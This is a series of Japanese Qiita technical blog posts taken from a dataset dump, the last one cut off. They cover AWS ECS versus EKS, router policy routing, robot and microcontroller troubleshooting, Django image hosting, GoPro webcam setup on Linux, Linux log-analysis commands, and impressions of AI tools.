OmniAICreator/Qiita-1.07M huggingface dataset:
ECS EKSの比較

## はじめに

コンテナ技術の普及に伴い、AWSではコンテナオーケストレーションサービスとしてAmazon Elastic Container Service (ECS) と Amazon Elastic Kubernetes Service (EKS) の2つが提供されています。どちらを選ぶべきか迷う方も多いのではないでしょうか。

本記事では、ECSとEKSの主な違いを比較し、どのような場合にどちらのサービスが適しているかを解説します。

## ECS (Elastic Container Service)

### 概要

Amazon ECSは、DockerコンテナをAWS上で簡単に実行、管理、スケールできる、フルマネージドなコンテナオーケストレーションサービスです。
AWSが独自に開発したオーケストレーションエンジンを使用しています。

### 特徴

* **シンプルな操作性:** AWSのサービスに統合されており、比較的容易にコンテナ環境を構築・運用できます。
* **AWSとの親和性:** EC2、ELB、IAM、CloudWatchなどのAWSサービスとの連携がスムーズです。
* **Fargateによるサーバーレス実行:** インフラの管理を意識せずにコンテナを実行できます。
* **コスト効率:** Kubernetesと比較して、コントロールプレーンの費用がかからないため、小規模な環境ではコスト効率が良い場合があります。
* **学習コスト:** Kubernetesほどの深い知識がなくても比較的容易に扱えます。

### メリット

* AWSの知識があれば比較的容易に導入できる
* Fargateを利用することでインフラ管理から解放される
* シンプルな構成で済む場合にコストメリットがある

### デメリット

* Kubernetesのエコシステム（豊富なツールやコミュニティ）を活用しにくい
* 高度なオーケストレーション機能はKubernetesに劣る場合がある
* コンテナオーケストレーションエンジンの選択肢がない

## EKS (Elastic Kubernetes Service)

### 概要

Amazon EKSは、AWS上でKubernetesを実行できるマネージドサービスです。KubernetesのコントロールプレーンはAWSによって管理され、ユーザーはワーカーノードの管理に注力できます。

### 特徴

* **Kubernetesの標準機能:** オープンソースのKubernetesと互換性があり、豊富な機能を利用できます。
* **高い拡張性:** 大規模で複雑なコンテナ環境に適しています。
* **豊富なエコシステム:** Kubernetesの活発なコミュニティやツールを利用できます。
* **柔軟性:** カスタマイズ性が高く、多様なワークロードに対応できます。
* **ハイブリッド環境との連携:** オンプレミスや他のクラウド環境との連携が容易です。

### メリット

* Kubernetesの豊富な機能とエコシステムを利用できる
* 高い拡張性と柔軟性を持つ
* 業界標準の技術であるため、技術者のスキルが活かせる

### デメリット

* 運用がECSと比較して複雑になる場合がある
* コントロールプレーンの費用が発生する
* Kubernetesの知識が必要となるため、学習コストが高い

## ECSとEKSの比較表

| 特徴                 | ECS                                     | EKS                                          |
| -------------------- | --------------------------------------- | -------------------------------------------- |
| オーケストレーションエンジン | AWS独自                             | Kubernetes                                   |
| 操作性               | 比較的シンプル                            | 比較的複雑                                   |
| AWSとの親和性        | 非常に高い                              | 高い                                         |
| サーバーレス実行     | Fargate                                 | Fargate (Managed Node Groupと併用)           |
| コスト               | コントロールプレーン費用なし (Fargateは別) | コントロールプレーン費用あり (ノード費用は別) |
| 学習コスト           | 比較的低い                              | 比較的高い                                   |
| 拡張性               | 中程度                                  | 高い                                         |
| エコシステム         | AWSサービス中心                          | Kubernetesのエコシステム                     |
| 柔軟性               | 比較的低い                              | 高い                                         |

## どちらを選ぶべきか？

以下は、ECSとEKSのどちらを選ぶべきかの一般的な指針です。

* **シンプルな構成で、AWSのサービスとの連携を重視する場合:** **ECS**
* **インフラ管理を極力避けたい場合:** **Fargate on ECS**
* **Kubernetesの豊富な機能やエコシステムを活用したい場合:** **EKS**
* **大規模で複雑なコンテナ環境を構築・運用する場合:** **EKS**
* **ハイブリッドクラウド戦略を視野に入れている場合:** **EKS**
* **Kubernetesの知識や経験があるチームの場合:** **EKS**
* **コストを重視し、シンプルな構成で済む場合:** **ECS**

## まとめ

ECSとEKSはそれぞれ異なる特性を持つコンテナオーケストレーションサービスです。自社の要件、チームのスキル、将来的な拡張計画などを考慮して、最適なサービスを選択することが重要です。

## 参考情報

* [Amazon ECSのドキュメント](https://aws.amazon.com/jp/ecs/)
* [Amazon EKSのドキュメント](https://aws.amazon.com/jp/eks/)
YAMAHA RTX1210で特定FQDNだけ別のゲートウェイを経由するようにした

# 発端
VRChat内の動画プレーヤーでYouTubeの動画が再生できなくなった
IPv6で通信しないようにすれば再生できるようになる、というのがよく言われているが
私のPCはもともとIPv6はオフにしていたので、それ以外の原因があると考えた


結論から言うと、自宅のグローバル固定IPv4アドレスがbot判定を喰らい、YouTubeにブロックされていた模様


ブラウザからGoogleにログインしていない状態でYouTubeの動画を再生しようとすると、以下のように再生できない
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4083742/9f1f5bab-9f3c-4bde-88a6-b33861bd22de.png)


自宅にはもう1台ルータ(NEC IX2215/IPv4 PPPoE接続)があり、PCのデフォルトゲートウェイをIX2215のアドレスに変更したところ、Googleにログインしていないブラウザ、VRChat内の動画プレーヤーの両方で再生ができるようになった

ただ、フレッツのPPPoE接続はたいへん遅いので、YouTube以外の通信はメインのルータ(YAMAHA RTX1210/v6プラス固定IP1)を経由したい

そこで、RTX1210に設定を施し、YouTubeの通信だけIX2215から出ていくようにした

# 設定
ヤマハネットワーク周辺機器技術情報ページ [FQDN フィルター機能](https://www.rtpro.yamaha.co.jp/RT/docs/fqdn_filter/index.html)の設定例 パケット転送フィルターで、デフォルトゲートウェイはPP1を使用し、google 関係は PP2 を使用する を参考に、以下のコンフィグを投入した

YouTubeに関連するFQDNについては、以下を指定した
ChromeのDevToolsで確認したところ、動画自体はgooglevideo.comなるところから取ってきている模様
* youtube.com
* *.youtube.com
* ytimg.com
* *.ytimg.com
* googlevideo.com
* *.googlevideo.com

ここで指定したFQDNがIX2215側のIPv4アドレスから出れているか確認するため、以下も追加した
* *.cman.jp

:::note warn
フィルタ番号は既存コンフィグに被らないよう要調整
:::
```
ip lan1 forward filter 100
ip filter 1001 pass * youtube.com,*.youtube.com,ytimg.com,*.ytimg.com,*.googlevideo.com,*.cman.jp
ip forward filter 100 1 gateway 192.168.100.2 filter 1001
```

# 確認
### traceroute
YouTube宛の通信は192.168.100.2に流し、Yahoo!宛の通信は192.168.100.1から出ていっていることを確認した
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4083742/8e823213-42dc-49cb-a238-b49dcdc28d1c.png)

### グローバルIPアドレス
さきほどコンフィグで192.168.100.2を経由するように指定した[CMAN](https://www.cman.jp/network/support/go_access.cgi)ではIX2215側のグローバルIPアドレス、指定していない[確認くん](https://www.ugtop.com/spill.shtml)では、RTX1210側のグローバルIPアドレスからアクセスしていることを確認した
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4083742/06ee0434-fcd1-44fc-9b5d-5a84f17abe1e.png)

### VRChat
VRChat内の動画プレーヤーで動画が再生できることを確認した
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4083742/ea0414d5-6fcc-499e-ae58-67ce814fd04b.png)
RosMasterX3Plusのスマホ操作ができない

## 概要
Yahboom社の[RosMasterX3Plus](http://www.yahboom.net/study/ROSMASTER-X3-PLUS)を研究室で購入したのだが、組み立て後スマホアプリからの操作をマニュアル通りに実行しても挙動が安定しなかったので、それの対処法について共有する。

## Appからの操作ができない
RosMasterを操作するアプリをダウンロードし、RosMasterのローカルネットワークに接続したものの、操作できないことが多い

- Raspi起動時に3回連続の電子音がすれば起動が成功，しなければ失敗らしい

**考えられる原因**
- ネットワークが安定していない
- `python ~/Rosmaster/rosmaster/rosmaster_main.py`などのスクリプト実行時の出力
```
debug= False Rosmaster Serial Opened! Baudrate=115200 
----------------create receive threading--------------
 TCP Service IP= 192.168.1.11 
Waiting for the client to connect! 
Version: -1 
Waiting for connect to the APP!
```
`Version: -1`になっていると正しく動作していない

## 対処法

- シャットダウン
- USB 拡張ボードのスイッチがonになっているかを確認する
- voice interaction moduleに挿さっているケーブルを抜く
    - なぜかわからないけど動きます
    - 多分、電力供給の問題かなと思います
        - 上のUSB拡張ボードにも直接電源供給できるようになれば、解決する気がする

![67e4e2c8bba831a282c93e33.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3441096/d1f49281-0930-4e8a-adc3-38c430efbe26.jpeg)


一番上のボード(voice interaction module)に刺さっているタイプCケーブル抜くとなぜか正常に動作する

私のいる研究室では写真の部分のコードを常に抜いてRosMasterを触ることにしました

いいお値段するんだから、正常に動いてほしいですよね、、、、

#### (参考) yahboomのサポートチームに問い合わせた時の回答

> The version number displayed as -1 is indeed incorrect, which is the key to the problem. -1 means that the system does not recognize the firmware version of the ROS driver board.
>  
> Please follow the steps below to troubleshoot:
>  
> 1. Check the MCU status indicator on the ROS expansion board to see if it flashes normally (flashes twice in three seconds). If it is always on or off, there is a problem with the expansion board.
> 
> 2. If the error in the figure still appears after re-burning the firmware, connect the ros expansion board to the computer and use the serial port assistant to view the printed content.
> 
> 3. The expansion board can be directly connected to the main control and check whether the USBhub board is connected to the 12V power supply. This situation will occur if it is not connected to the 12V power supply.
> 
> 4. Check whether the switch of the usbhub board is turned on.
> 
> 5. Customers who purchase the voice board should not install the voice board first to avoid device id conflicts.
> 
> 6. Check whether the usb connect interface of the ros driver expansion board is connected and whether there is poor contact. Or change a microUSB cable.
MicroPython × Web Serial APIで構築する、Raspberry Pi Pico Wのエンドユーザー向けWiFi初期設定(0)

はじめまして、丸山と申します。

オフコン／汎用機時代のCOBOLからキャリアをスタートし、現在に至るまで主に実装業務を中心にITエンジニアとして活動しています。最近はC#によるWebアプリケーションの開発・保守を中心に、BUSYBOX＋C言語を用いた組み込み開発からサーバサイドまで、幅広く手を動かしています。

2025年2月に「[2024年度 Web×IoT メイカーズチャレンジ PLUS](https://webiotmakers.github.io/2024/)」に参加した際、開発環境として利用した[CHIRIMEN](https://tutorial.chirimen.org/)から着想を得て、Web Serial APIとIoTデバイス（特にRaspberry Pi Pico W）の連携に可能性を感じました。

ある時、「VSCodeやThonnyなどで利用されるRaspberry Pi PicoのREPL（Read-Eval-Print Loop）は、単なるシリアル通信である」との情報を知り、「この仕組みを活かせば、ソースコードにハードコーディングされがちなWiFi設定情報を、エンドユーザーがWebブラウザ経由で簡単に設定できるのでは？」と考えました。

MicroPythonの知識は浅いながらも、まずは簡単な構成で一通りの仕組みを実装してみました。類似のオープンプロジェクトが見当たらなかった（※）こともあり、今回、GitHubでの公開とQiitaでの技術解説を行ってみようと思います。

※「ESP32／Raspberry Pi Pico W自体をWiFiルーターとしてブラウザ経由で設定させる」というプロジェクトはありましたが、REPLやWeb Serial APIを用いたものはありませんでした。何故こちらを利用しなかったかについては次回に解説します

---

## 解説予定の主な内容

- Web Serial APIの概要と使用方法
- Raspberry Pi Pico＋MicroPythonによるJSONファイル操作
- 再利用性を考慮したCDN版Vue（Composition API）によるHTMLクライアント実装

## 今後の発展も視野に

- 多言語対応（特に英語UI）
- クライアント側コードのTypeScript化

---

なお、Raspberry Pi Pico WやMicroPythonについてはまだ学習中の部分も多く、記事中に誤りや不明瞭な点があるかもしれません。ご指摘・ご助言いただければ大変ありがたいです。

どうぞよろしくお願いいたします。
【Mac】AndroidStudioのリネーム等のショートカットが効かなくて困っているあなたへ

AndroidStudioにてリネームやTerminalを開くショートカットが効かなくて困ってました。

- Shift + F6：リネーム
- Option + F12：Terminalを開く

どうやらファンクションキーを含むショートカットが効いてないようです。

## 解決策
システム設定の `キーボード > キーボードショートカット > ファンクションキー` にある「F1、F2などのキーを標準のファンクションキーとして使用」をONにする。

![スクリーンショット 2025-05-10 13.49.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/130234/92a6e15f-c9d2-4113-b043-42a4006e63ed.png)

私の場合はこれで治りました！
【Django】Cloudinaryに画像をアップロードしてRenderにデプロイする

# やりたいこと
画像ファイルをローカルにアップロードするところまで一旦完成している前提。
Cloudinaryに画像をアップロードしてRenderにデプロイする。

※　対象ファイルは画像のみです。ほかの形式だとアップできてもRenderで表示できませんでした。


# Cloudinaryにサインアップ
まず
https://cloudinary.com/ のSign up for freeからサインアップします。（アカウント作成）

ログインするとダッシュボードがあり、自分の情報が見えます。API接続に必要になる情報もここで確認ができます。

環境変数
- LOUDINARY_CLOUD_NAME → dashboard > Cloud name　から取得します
- その他は「Go to API Keys」からAPI のページで取得します
    LOUDINARY_CLOUD_NAME
    CLOUDINARY_API_KEY
    CLOUDINARY_API_SECRET


.env ファイルに設定

```diff_env:  .env
LOUDINARY_CLOUD_NAME=***
CLOUDINARY_API_KEY=************
CLOUDINARY_API_SECRET=********
```

settings.py に記述

```diff_python:  settings.py 

INSTALLED_APPS = [
    "django.contrib.admin",
    "django.contrib.auth",
    "django.contrib.contenttypes",
    "django.contrib.sessions",
    "django.contrib.messages",
    "django.contrib.staticfiles",
    'django_cleanup.apps.CleanupConfig',  # django-cleanup ファイル削除のため追加
    
+   # cloudinaryの追加
+   'cloudinary',
+   'cloudinary_storage',

    # アプリ
    'app',
]
...


# 末尾に追加
""" 画像用 """
MEDIA_URL = '/media/' # 添付ファイル
# DEBUGがTrueだったらMEDIA_ROOT、FalseならCloudinaryにアップする
+ if DEBUG: 
      MEDIA_ROOT = os.path.join(BASE_DIR, 'media') # 添付ファイル
+ else:
+     CLOUDINARY_STORAGE = {
+         'CLOUD_NAME': env('CLOUDINARY_CLOUD_NAME'), # cloudinaryのCLOUD_NAME
+         'API_KEY': env('CLOUDINARY_API_KEY'), # cloudinaryのAPI_KEY
+         'API_SECRET': env('CLOUDINARY_API_SECRET'), # cloudinaryのAPI_SECRET
+     }

+     DEFAULT_FILE_STORAGE = 'cloudinary_storage.storage.MediaCloudinaryStorage'
```


ローカルで試す時は、一旦
if DEBUG: 　→ if not DEBUG: 
にしてcloudinary にアップできるか確認してみる。


Cloudinary 画像保存場所
左メニューAsetts > Media Library




# モジュールのインストール

1. requirements.txt　に書く
2. ターミナルで　pip install -r requirements.txt　コマンド実行

```diff_python:  requirements.txt
django==4.2.18
dj-database-url==2.1.0
dj-static==0.0.6
python-decouple==3.8
django-environ==0.11.2
gunicorn==21.2.0
psycopg2-binary==2.9.9
whitenoise==6.6.0
django-cleanup==9.0.0
+ cloudinary==1.44.0
+ django-cloudinary-storage==0.3.0
```

``` 
pip install -r requirements.txt
```

最新のバージョンを調べるには「モジュール名　pip」で検索する
例）https://pypi.org/project/django-cloudinary-storage/

---

# デプロイする
GitHubにpush
renderデプロイ
→ 失敗するので、環境変数　Environment　を追記して、saveデプロイ


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3784177/01b30641-3230-474f-815f-5f178b3937b9.png)




# 参考
参考サイト

https://qiita.com/toamoku-20220418/items/9419ba85f56c119603ba

https://qiita.com/kanaxx/items/7d88948c9f8f43cdf760
GoPro HERO8をUSBカメラとして使用するまでの道のり

# 背景

GoProをUSBカメラとして使用するための環境構築で、USBをさして自動起動するようにudevルールを使おうとした際に、udevルールのデバックをするために使用したツールを書き留める

# やりたい事

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/171097/e610c56f-e937-4964-ae24-15ed60f79e73.png", width="70%" />

- ```GOPRO HERO8```をUSBでPCと接続する

    PC上では仮想のネットワークインターフェースとして認識されIPアドレスが振られる
    機種によるがPC: 172.24.169.54, GOPRO: 172.24.169.51となる
    <br>

- ```GOPRO HERO8```からUDPビデオストリームを配信する

    GOPROにAPIを通じて配信開始とレンズモードを設定する
    APIの情報はここから入手（https://github.com/jschmid1/gopro_as_webcam_on_linux）
    <br>
    
- 仮想ビデオデバイスを作成する

    UDPビデオストリームを書込先のビデオデバイスファイル```/dev/video42```を作成する
    <br>
    

- UDPビデオストリームをffmpegで受信、デバイスファイルへ書き込み

    ```ffmpeg```コマンドでUDPビデオストリームを入力データとして受信し、
    デバイスファイルに特定のピクセルフォーマットに書き込む

# 詳細

## GOPRO_APIについて

下記のフォーマットで```curl```コマンドを使用して```GOPRO```へコマンドを送信する


```bash
# フォーマット
curl -s <GOPRO IP>/gp/gpWebcam/<COMMAND>?<PARAMS>

COMMAND:
    - START  :UDPビデオストリーム配信の開始
        PARAMS:
            - res=[1080,720,480]
                カメラの解像度を設定するパラメータ
                選択できる解像度は1080p, 720p, 480pが選択可

    - STOP   :UDPビデオストリーム配信の停止

    - SETTINGS:パラメータの設定
        PARAMS:
            - fov=[0, 3, 4, 6]
                レンスモードを選択するパラメタ
                SuperWide, Wide, Linear, Narrowが選択可
```

- ### 例：```START```コマンド

解像度1080pでUDPビデオストリームを開始する

```bash
curl -s 172.24.169.51/gp/gpWebcam/START?res=1080
```

- ### 例：```STOP```コマンド

UDPビデオストリームを停止する

```bash
curl -s 172.24.169.51/gp/gpWebcam/STOP
```

- ### 例：```SETTINGS```コマンド

レンズモードを```Linear```に設定する

```bash
curl -s 172.24.169.51/gp/gpWebcam/SETTINGS?fov=4
```

## 仮想ビデオデバイスの作成方法

- ### 仮想ビデオデバイスファイルの作成

```bash
sudo modprobe v4l2loopback \
    exclusive_caps=1 \   # 仮想ビデオデバイスのケーパビリティ
    card_label='GoPro' \ # 仮想ビデオデバイスのラベル
    video_nr=42          # ビデオデバイス番号
```

- ### 仮想ビデオデバイスファイルの削除

```bash
sudo modprobe -rf v4l2loopback
```

## ```ffmpeg```ビデオストリームバインド

```bash
ffmpeg -nostdin -threads 1 \
    -i 'udp://@0.0.0.0:8554?overrun_nonfatal=1&fifo_size=5000000'\
    -f:v mpegts -fflags nobuffer -flags low_delay -vf setpts=0 \
    -vf format="yuv420p" -f v4l2 /dev/video42
```

# 改善

- ## USB接続でデバイスファイルを自動作成する

udevルールを使用してGOPROカメラをUSBに接続した時、自動で仮想デバイスファイルを作成するようにする

```
#/etc/udev/rules.d/60-gopro.rules 
SUBSYSTEM=="net", ATTRS{idVendor}=="2672", ATTRS{product}=="HERO8 BLACK", ACTION=="add", RUN+="/usr/sbin/modprobe v4l2loopback exclusive_caps=1 card_label='GoPro' video_nr=42">
SUBSYSTEM=="net", ATTRS{idVendor}=="2672", ATTRS{product}=="HERO8 BLACK", ACTION=="remove", RUN+="/usr/sbin/modprobe -rf v4l2loopback">
```

これを作成する際にudevルールファイルがどう動作しているかデバックする方法がわからなかったのメモ

- 書き換えたudevルールファイルの有効化

```bash
sudo udevadm control --reload
sudo udevadm trigger
```

- udev挙動のモニタ

```bash
# kernel, udev イベントを表示
udevadm monitor
# イベントプロパティを表示
udevadm monitor --property
```
Node.jsがTSファイル（.ts）を直接実行できない時のエラー【TypeError: Unknown file extension ".ts"】

## 背景

毎朝6時にSupabaseのデータを削除するバッチをGitHub Actionsのcronジョブで実行する課題に取り組んでいました。

その際に、**Node.jsがTypeScriptファイル（.ts）を直接実行できないため発生**したエラーに遭遇しました。


```bash
TypeError: Unknown file extension ".ts"
```


GitHub Actionsの標準Node.js環境では、TypeScriptファイルを扱う設定が不足していたことが原因でした。


## 解決策

以下の点を考慮して`tsx`を使用して対応しました。
* `tsx`は追加設定なしでTypeScriptファイルを直接実行できる
* GitHub Actions環境でも安定して動作する

> tsx はTypeScript Executeの略で、 TypeScriptを実行するための Node.js 拡張機能です。

https://tsx.is/


### 修正内容

```yaml
- name: Install tsx
  run: npm install -g tsx

- name: Run delete script
  run: npx tsx ./batch/index.ts
```

## まとめ

GitHub ActionsでTypeScriptファイルを実行する際は、`tsx`を使用することでNode.js由来の拡張子エラーを回避できます。
GoogleのNotebookLMによる音声概要（Audio Overview）生成がかなり実用的だったので、実際に作成してみました（動画あり）

**NotebookLMの音声概要（Audio Overview）機能を試してみました【動画あり】**

GoogleのAIツール「NotebookLM」に新たに追加された音声概要（Audio Overview）生成機能が非常に実用的だったため、実際に試してみました。

この機能では、文書の要点を自動で音声化し、短時間で内容を把握できるようになります。プレゼンの準備や長文資料の理解を効率化するのに役立つ印象です。

以下に、使用した文書と生成された音声概要の動画のリンクを掲載しています。
ぜひご覧ください。

📄 **使用文書：**
[Flutterアプリ開発のための最新モダンスタックとベストプラクティス](https://qiita.com/softbase/items/401d574a44a7b947b275)

🎥 **動画：**
<iframe width="560" height="315" src="https://www.youtube.com/embed/-b66k-TA7ME?si=X-m-DgQqdyYxZNhx" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
【SadServers学習メモ #2】使ったコマンドまとめ（awk, sort, uniq, head）

# 初めに
Linuxの学習目的で`SadServers`を始めました。
備忘のために使用したコマンドをアウトプットします。

# SadServersとは
Linuxの学習ができるサイト。
架空のサーバを題材とし与えられた依頼をこなすことで学習ができる。

https://sadservers.com/

# 今回のお題
## タイトル
["Saskatoon": counting IPs.](https://sadservers.com/scenario/saskatoon)

## 詳細
* Webサーバのアクセスログを見て、どのIPからのアクセスが一番多いかを特定する

```sh: アクセスログ
$ head -n 3 /home/admin/access.log 
83.149.9.216 - - [17/May/2015:10:05:03 +0000] "GET /presentations/logstash-monitorama-2013/images/kibana-search.png HTTP/1.1" 200 203023 "http://semicomplete.com/presentations/logstash-monitorama-2013/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
83.149.9.216 - - [17/May/2015:10:05:43 +0000] "GET /presentations/logstash-monitorama-2013/images/kibana-dashboard3.png HTTP/1.1" 200 171717 "http://semicomplete.com/presentations/logstash-monitorama-2013/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
83.149.9.216 - - [17/May/2015:10:05:47 +0000] "GET /presentations/logstash-monitorama-2013/plugin/highlight/highlight.js HTTP/1.1" 200 26185 "http://semicomplete.com/presentations/logstash-monitorama-2013/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36"
```

## 作業の流れ
* アクセスログからIPアドレスを抽出する
  * awkコマンド
* IPアドレスごとの数を数える
  * uniqコマンド
* 一番数が多いIPアドレスを特定する
  * sortコマンド
  * headコマンド

# 使ったコマンド
## awkコマンド
ファイルから文字列を抽出するコマンド。

```sh
$ awk 'パターン { アクション }'
```

* パターンには抽出する行の条件を記載する。
* アクションには抽出した行に対してどんな処理を行うかを記載する。


### 例）IPアドレスを抽出したい
* パターン
  * 全行抽出するのでパターン指定はなし
* アクション
  * IPアドレスのみを抽出したい
    * printコマンドを用いて出力する
    * IPアドレスは行頭にあるため、`$1`で指定可能


```sh:IPアドレスを抽出するコマンド
$ awk '{print $1}' /home/admin/access.log
63.140.98.80
63.140.98.80
66.249.73.135
180.76.6.56
46.105.14.53
```

:::note info
`$1`や`$2`は空白やタブで区切られたn個目の文字を抽出するコマンド。
`-F`で区切り文字を変更できる。
`$0`で行全体を指定可能。
:::

## sortコマンド
順番を並び替えるコマンド
`-r`：降順（デフォルトは昇順）
`-n`：対象を数値として扱う（デフォルトは文字列として扱う）

```sh
$ sort -r -n ファイル名
```


## uniqコマンド
重複をなくした一覧を出力するコマンド。
今回は`-c`をつけて重複をカウントした。
```sh
$ uniq -c ファイル名
```

:::note warn
`uniq`コマンドは隣り合う行のみ重複とカウントする。
ファイル全体の重複をカウントしたい場合は`sort`してから`uniq -c`を行う必要がある。
:::

# headコマンド
先頭からn行抽出する。
`-n`：先頭からn行抽出する。

```sh
$ head -n 5 ファイル名
```

# 回答

※出力結果はダミーです。

```sh
$ awk '{print $1}' /home/admin/access.log | sort | uniq -c | sort -n -r | head -n 1 | awk '{print $2}'
1.1.1.1
```

* `awk '{print $1}' /home/admin/access.log`：IPアドレスの抽出
* `sort`：並び替え（★uniqで全てのIPアドレスの重複をなくすために必須！）
* `uniq -c`：IPアドレスごとのリクエスト数を数える
* `sort -n -r`：リクエスト数で並び替え
* `head -n 1`：一番多いリクエストを抽出
* `awk '{print $2}'`：抽出された`リクエスト数 IPアドレス`のフォーマットからIPアドレスのみを抽出



# 終わりに
sortが隣り合う行しか重複を排除しないのを初めて知りました。ChatGPTありがとう。

ここまでご覧いただきありがとうございました！
【M5Stack】BLEのRSSIがリアルタイムに更新できない時の原因と解決法

## まとめ

BLEを使ってRSSIを取得したいけど、よく分からないという方向けの記事です。
記事の結論としては、RSSIをリアルタイムに取得するためには、対象のBLEデバイスを検出するたびに`BLE.stopScan();`と`BLE.scan();`で再スキャンする必要がある。

## 環境
開発環境：Arduino IDE 2.3.4
デバイス：M5Stack Core2

## やりたかったこと

M5Stack Core2を2台用いて、デバイス同士が近づいたか遠くなったかを検出したかった。
そのため、片方のデバイスからBLEでアドバタイズを発信し続け、そのRSSIを監視することで実現しようと考えた。
単純に以下のコードで確認していたが、RSSIの更新が分オーダーとなってしまい、とてもリアルタイムな更新とは言えなかった。


### セントラル側の処理

```cpp
#include <M5Core2.h>
#include <ArduinoBLE.h>

void setup() {
  M5.begin();
  M5.Lcd.setTextSize(2);
  M5.Lcd.clear();
  M5.Lcd.setCursor(0, 0);
  M5.Lcd.println("RSSI Monitor");

  BLE.begin();
  BLE.scanForUuid("180D");  // 180DのUUIDをスキャンする
}

void loop() {

  // BLEデバイスを検出したらRSSIを取得し、LCDに表示する
  BLEDevice peripheral = BLE.available();
  if (peripheral) {
    
    int rssi = peripheral.rssi();

    M5.Lcd.clear();
    M5.Lcd.setCursor(0, 0);
    M5.Lcd.printf("RSSI: %d dBm\n", rssi);
    M5.Lcd.printf("Device: %s", peripheral.address().c_str());
  }
}
```

## 原因

`BLE.scanForUuid("180D");`の仕様上、対象のデバイスを見つけたらその情報をキューに入れて処理が完了する仕様のよう。(`BLE.scan();`も同じ仕様っぽい)
そのため、最新の情報に更新したい場合は一度スキャンを止めて、再スキャンする必要がある。
ちなみに以下が公式リファレンスだが、この仕様に関しては明記しておらず、そこまで詳しく書いてなかった。

https://docs.arduino.cc/libraries/arduinoble/


## 修正後のソースコード

### ペリフェラル側処理

シンプルに20ms間隔でアドバタイズを送り続ける処理。
今回はRSSIが知りたいだけなので、データ部は指定しない。

```cpp
#include <M5Core2.h>
#include <ArduinoBLE.h>
#include "esp_bt.h" // ESP32 Arduinoコアに含まれる

void setup() {
  // M5Stack Core2の初期化
  M5.begin();
  
  // BLEの初期化
  BLE.begin();

  // LCDの初期設定
  M5.Lcd.setTextSize(2);
  M5.Lcd.clear();
  M5.Lcd.setCursor(0, 0);

  // 距離が離れていても検出するようにBLE出力パワーを最大に設定
  // ※効果があるのか謎
  if (esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, ESP_PWR_LVL_P9) == ESP_OK) {
    M5.Lcd.println("BLE Power Up");
  }

  // BLE設定
  BLE.setLocalName("M5Stack-Core2");
  BLE.setAdvertisedServiceUuid("180D"); // UUIDの指定。任意でOK(他とIDが被らないように)
  BLE.setAdvertisingInterval(32); // アドバタイズ間隔（0.625ms単位）
  BLE.advertise();

  // デバイスアドレスをLCDに表示
  String address = BLE.address();
  M5.Lcd.printf("Device Address:\n%s", address.c_str());
}

void loop() {
  // アドバタイズのみのため処理なし
  delay(10);
}
```

### セントラル側処理

こちらもシンプルに、アドバタイズをスキャンしてデバイスを見つけたらRSSIを取得するのみの処理。
デバイスを見つけたタイミングで、再スキャンする処理を入れている。
近くにBLEデバイスが多かったのでUUIDを指定してスキャンしているが、指定せずにスキャンするには`BLE.scan();`を用いる。

```cpp
#include <M5Core2.h>
#include <ArduinoBLE.h>

void setup() {
  M5.begin();
  M5.Lcd.setTextSize(2);
  M5.Lcd.clear();
  M5.Lcd.setCursor(0, 0);
  M5.Lcd.println("RSSI Monitor");

  BLE.begin();
  BLE.scanForUuid("180D");  // 必要に応じてBLE.scan()に変更可能
}

void loop() {
  BLEDevice peripheral = BLE.available();
  if (peripheral) {
    // 追加箇所：再スキャンを開始（ESP32 BLEライブラリの仕様により必要）
    BLE.stopScan();
    BLE.scanForUuid("180D");
    
    int rssi = peripheral.rssi();

    M5.Lcd.clear();
    M5.Lcd.setCursor(0, 0);
    M5.Lcd.printf("RSSI: %d dBm\n", rssi);
    M5.Lcd.printf("Device: %s", peripheral.address().c_str());
  }
}
```

## まとめ

以上の方法により、約40ms間隔でRSSI情報を更新できた。
LCDへの表示処理を消せばもう少し早くなるかもしれない。
スキャンの仕様に関して少し調べても出てこなかったため、備忘録として投稿する。
【ChatGPT】の検索機能を使ったら意外に多くの情報が得られた感想話。


　どうも、カーブミラーです。

　今回は、ChatGPTの検索機能を使ったら意外に多くの情報が得られた話です。感想なので、たいした内容でもありません。

:::note info
本記事は、ChatGPT（Plus版）
で行なっております。
画像はありません。あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　こちらも載せますね。
　　[ChatGPTが使えない？ログインできない・反応しない原因やエラー時の対処法を解説](https://aismiley.co.jp/ai_news/chatgpt-error-resolution-explanation/)
***
　著作権法については
　　こちらを参照するのが
　　　良いのではないかと。

　文化庁レポートをもとにした
　　著作権法についての動画（約20分）
　　　[かいちのAI大学　【警告】ChatGPTの画像生成は危険です...【4o Image Generation】](https://youtu.be/8VLUnG-iyo0?si=rAfjMboqmNqppDGq)
***
　まずは、【ニュース】です。

　生成AIは関係ありませんが、
　　バチカン市国の
　　　第267代教皇に、
　　　　レオ14世教皇が
　　　　　選出されました。
***
　では、【本題】です。

　今回は、
　　ChatGPTの検索機能を使ったら
　　　意外に多くの情報が得られた話。

　たいした話ではありません😅

　とある展示会を
　　見に行こうと考えまして。

　ですが、
　　建物名しかわからず、
　　　それでChatGPTの検索機能を
　　　　使ってみたわけです。

　もちろん、
　　Googleマップでも
　　　当然出てくるのですが。
***
　ChatGPTの機能一覧メニューから
　　検索機能を選択して、
　　　建物名を入力送信。

　住所がわかればいい、
　　くらいの気持ちで
　　　検索機能を使ってみたのです。

　しかし、
　　思わぬほどの情報が得られました。

